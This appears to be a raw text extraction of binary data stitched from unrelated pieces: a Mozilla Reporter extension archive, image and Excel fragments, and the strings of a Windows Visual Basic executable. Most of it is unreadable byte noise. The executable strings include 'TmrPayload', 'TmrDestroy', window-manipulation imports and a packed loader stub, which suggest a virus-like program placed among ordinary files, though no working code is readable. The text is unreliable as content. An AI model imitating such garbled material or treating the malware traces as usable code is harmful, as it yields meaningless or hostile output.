skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019
Joe Cage B
""#,##0;""\-#,##0
""#,##0;[Red]""\-#,##0
""#,##0.00;""\-#,##0.00
""#,##0.00;[Red]""\-#,##0.00
_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_
_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_
_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_
_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_
\$#,##0_);\(\$#,##0\)
\$#,##0_);[Red]\(\$#,##0\)
\$#,##0.00_);\(\$#,##0.00\)
\$#,##0.00_);[Red]\(\$#,##0.00\)
#,##0.00_
#,##0_
"Yes";"Yes";"No"
"True";"True";"False"
"On";"On";"Off"
0.00_
0_);[Red]\(0\)
0.00_);\(0.00\)
???
???
???
6ReN!j
hgUSCQ<h
hgUSCQ<h
fJTe,g
fJTe,g
cUSCQ<h
cUSCQ<h
0]hVwQ9
vQN9(u
]KQkSu
]KQkSu
^yv;`{h
gPlQSQS
,{hQu
M&d2?'
M&d2?(
M&d2?)
M&d2?M
jZ?\.?
Microsoft Excel
!Print_Titles
Microsoft Office Excel 2003
Excel.Sheet.8
4/17/2019 4/17/2019 4/25/2019 14/25/2019 1MZ
L!This program cannot be run in DOS mode.
PEC2^O
ProjShell32
Using shell32.dll functions
irOu@EEf9
TmrDestroy
TmrPayload
Command3
Command3
Command2
Command2
Command1
Command1
VB5!*
Shell32Functions
Using Shell32.dll
ProjShell32
!fOfOfOzC0@
G:7$C3
ProjShell32
Module1
FormShowDos
Module2
modComputerName
rOu@EEf9
EABHf{KeE
+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
TmrPayload
VBA6.DLL
Command1
Command2
Command3
TmrDestroy
user32
GetForegroundWindow
SetWindowTextA
GetWindowTextA
kernel32
lstrcpyA
SetWindowPos
FindWindowA
PostMessageA
Gadis_Noya
Gadis_A_Noya
Gadis_B_Noya
Gadis_C_Noya
Gadis_D_Noya
Gadis_E_Noya
Gadis_F_Noya
Gadis_G_Noya
Gadis_H_Noya
Gadis_I_Noya
+3q"=h
+3qyO3f
GetComputerNameA
[,JAF'
e/<C@[d
d,qJ`mN3f
Picture1
BitBlt
GetDesktopWindow
ReleaseDC
__vbaVarTstEq
__vbaStrCmp
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaStrVarMove
__vbaVarCmpNe
__vbaVarAnd
__vbaBoolVarNull
__vbaLateIdCallLd
__vbaEnd
__vbaVarSub
__vbaVarForNext
__vbaVarAdd
__vbaVarDup
__vbaI4Var
__vbaStrMove
__vbaVarMove
__vbaLenBstr
__vbaVarForInit
__vbaVarLateMemCallLd
__vbaObjVar
__vbaVarSetVar
__vbaFreeVar
__vbaFreeVarList
__vbaFreeObjList
__vbaFreeStrList
__vbaVarCat
__vbaStrVarVal
__vbaObjSet
__vbaFreeObj
__vbaFreeStr
__vbaStrCat
__vbaNew2
__vbaObjSetAddref
__vbaHresultCheckObj
__vbaOnError
__vbaPrintFile
__vbaR4Var
__vbaVarCmpEq
__vbaVarOr
__vbaVarZero
__vbaAryUnlock
__vbaNextEachVar
__vbaFileClose
__vbaVarLateMemCallLdRf
__vbaForEachVar
__vbaVargVar
__vbaErrorOverflow
__vbaPut3
__vbaGet3
__vbaFileOpen
__vbaFpI4
__vbaI2I4
__vbaLateMemCall
__vbaStrVarCopy
__vbaInStrVar
__vbaStrCopy
[,JAF'
FormShowDos
Courier NewD
Picture1
MS Sans Serif;
Using shell32.dll functions
}SVWeE
} jXh0@
}#j(hp5@
}#j,h5@
}#j(h5@
}#j,h5@
}#j$h5@
}#jTh5@
}#jHh5@
}#j h5@
MQ8REP
MQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
rMQUREPMQUREPMQURj
$EPMQj
HRXPhQxREPMQURj
4SVWeE
F4~43;
j0hp5@
}#jPh6@
PtQREP
QTRdPMQ
TPdQUR
R4PDQUR
4QDREP
}#jhh6@
}#j|h6@
}#jXh6@
}#jXh6@
TRdPQRj
}#j4hp5@
4RDPTQdRtPQRj
4PDQTRdPtQRPQRPj
SVWeE8
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
=EMPQj
TdRtPQj
SVWeEH
uuuu|ld\XTD4$
RPQRMPQ
$4RDPQj
E|PDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEX
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEh
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
SVWeEx
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuu|td\XTD4$
RPQRMPQ
$4RDPQj
EdPDQR
PQRPUQR
4MPQPD$RP
$4PDQRj
MUQDRP
FX\PQj
$4RDPQj
uuuuuuutdTD4$
<D4R$PQ
TdRtPQj
UDtRPQ
EMPtQR
U|ttLPDj
EPhh8@
=EMPQj
TdRtPQj
\SVWeE
} jPh6@
}#jXh6@
UREPMQUREPj
MQUREPMQURj
XSVWeE(
UREPQRPQ
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
Q(R8Pj
}#jPh6@
}#jXh6@
PQTR\PXQ`Rj
R(P8Qj
}#jPh6@
}#jXh6@
PRTP\QXR`Pj
MQRPQR
EPMQRPQR
URPQRP
PRTPXQ\R`Pj
Q(R8Pj
xREPMQpRlPtQ
PUREPMQj
UREPpQlRtP
PQRdPtQUR
dQtREP
QRPDQTREP
DRTPMQ
RPQ$R4PMQ
$P4QUR
QRPQREP
PR@P,Q
RPQRPMQ
PPpQ,R
PQRPQUR
pQUR,P
QRPQREP
RPQdRtPMQ
dPtQUR
PQRDPTQUR
DQTREP
QRP$Q4REP
$R4PMQ
PQRPQUR
QRPQREP
URpP,Q
QRPQRP
P$Q4RDPTQdRtPQRPQRPQR
Q$R4PDQTRdPtQj
_^[]QVt$
Vt&PX}
_fFX3^Y
EEEE|l\EPVE
QR|UF8QRPE
E\Pl^HQRSE
L|UQF8RP
\lR|PUQRj
}}}}thdTD4$
QP3f h
f9tY9=A
jPhtA@
jPhtA@
jPhtA@
jDhdA@
&dhQRj
mSVWeE
PxQhR0P@QUR
0Q@REP
RxPhQR
PxQhRPQUR
QxRhPQREP
RxPhQRPMQ
PxQhRpPQUR
QxRhPPQ`REP
PR`PMQ
RxPhQ0R@PMQ
0P@QUR
Q R0P@QPR`PpQRPQRPQRP
R P0Q@Rj
tSVWeE
MEPUQRE
;tvUEVPUE
UQREVPE
EMPUQRj
EEEE|l\L<,
xhXH8($
xhXHD4$
tdTD4$
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
hHR4PQ
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
<h4P$QR
$R4PQj
$UQRP4
$Q4RPj
RPQRMPQ
$R4PQj
PQRPUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
x|R4PQ
RPQRMPQ
$R4PQj
8MP4QR
PQdRtPUQR
$MPQP4
$P4QRj
dtQERP
QRDPTQERP
$UQRP4
$Q4RPj
DTRMPQ
RP$Q4RMPQ
$R4PQj
$4PUQR
$MPQP4
$P4QRj
QRPQERP
$UQRP4
$Q4RPj
<PSh@@
(QSh@@
xRSh@@
8PSh@@
HEPSh@@
URSh@@
$P4QRj
R$P4QDRTPdQtRPQRPQRPQ
P$Q4RDPTQdRtPQRPQRPQj
MSVBVM60.DLL
__vbaVarSub
_CIcos
_adj_fptan
__vbaVarMove
__vbaFreeVar
__vbaLenBstr
__vbaStrVarMove
__vbaPut3
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaNextEachVar
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaVarCmpNe
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaVarForInit
__vbaOnError
__vbaObjSet
_adj_fdiv_m16i
__vbaObjSetAddref
_adj_fdivr_m16i
__vbaVargVar
__vbaBoolVarNull
_CIsin
__vbaVarZero
__vbaChkstk
__vbaFileClose
EVENT_SINK_AddRef
__vbaGet3
__vbaStrCmp
__vbaVarTstEq
__vbaI2I4
__vbaObjVar
DllFunctionCall
__vbaVarOr
_adj_fpatan
__vbaR4Var
__vbaLateIdCallLd
EVENT_SINK_Release
_CIsqrt
__vbaVarAnd
EVENT_SINK_QueryInterface
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaFPException
__vbaInStrVar
__vbaStrVarVal
__vbaVarCat
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVarLateMemCallLdRf
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaFreeStrList
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarSetVar
__vbaI4Var
__vbaVarCmpEq
__vbaLateMemCall
__vbaVarAdd
__vbaVarDup
__vbaStrToAnsi
__vbaFpI4
__vbaVarLateMemCallLd
_CIatan
__vbaStrMove
__vbaStrVarCopy
__vbaForEachVar
_allmul
_CItan
__vbaAryUnlock
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
i>A4-$
fCtS5-'
ECyU80,
{jA4-$
EK-2P|
qL7-2\$
rQG--?YY!
rQG--YaD*
oF:6P}2
oXE--^
o`E:-3
1qqqqpY7-
,tttttttq\Z9*
(}vvvvvvvvvvvvumR2&
#}yyyyyyyyyyyyyyyrn)
"xVO4]
lWTUS?c~'
*$$$$$$$$
*%%%%%%%%*
*'''''''' *
*))))))))!*
*********"*
+++++++++&+
)(((((+++++
+****+
-kkeJ/
.nnnnnnnS8
/qqqqqqqqqqq\@$
tttttttttttttttfI3
wwwwwwwwwwwwwwwwwwwpS<
zzzzzzzzzzzzzzzzzzzzzzzz\E&
}}}}}}}}}}}}}}}}}}}}}}}}}}M
H((wf,
I33lfZ
KUUmfh
[~lR7#
Rqqqqq\G+
0uuuuuuuuugQ4
1zzzzzzzzzzzzzz\>
2}}}}}}}}}}}}}}}}}r
w)dgu6
Hg3&;wG
D9#?^}
!u}M9&
~!fnnnnnnnn:
$f&zzzzzzzzC
u0,,,,,,'#
11/15/2008
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
